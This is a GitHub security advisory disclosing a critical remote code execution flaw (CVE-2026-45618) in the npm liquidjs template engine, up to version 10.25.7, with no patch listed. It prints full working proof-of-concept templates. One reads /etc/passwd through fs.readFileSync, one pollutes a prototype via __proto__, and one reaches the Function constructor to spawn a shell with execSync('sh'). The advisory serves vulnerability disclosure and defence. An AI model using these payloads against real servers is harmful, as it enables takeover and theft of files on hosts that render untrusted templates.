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Remote Code Execution

Critical
harttle published GHSA-gf2q-c269-pqgc May 24, 2026

Package

npm liquidjs (npm)

Affected versions

<= 10.25.7

Patched versions

None

Description

Summary

It is possible to execute arbitrary code with crafted templates

Details

`1|valueOf` -> `this` when evaluating the filter 
{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
function calls with a controlled first argument via comprable 
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
image
changing the prototype of things 
import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}

{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
image

When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")} 

{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

Impact

What kind of vulnerability is it? Who is impacted?
Remote Code Execution.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-45618

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits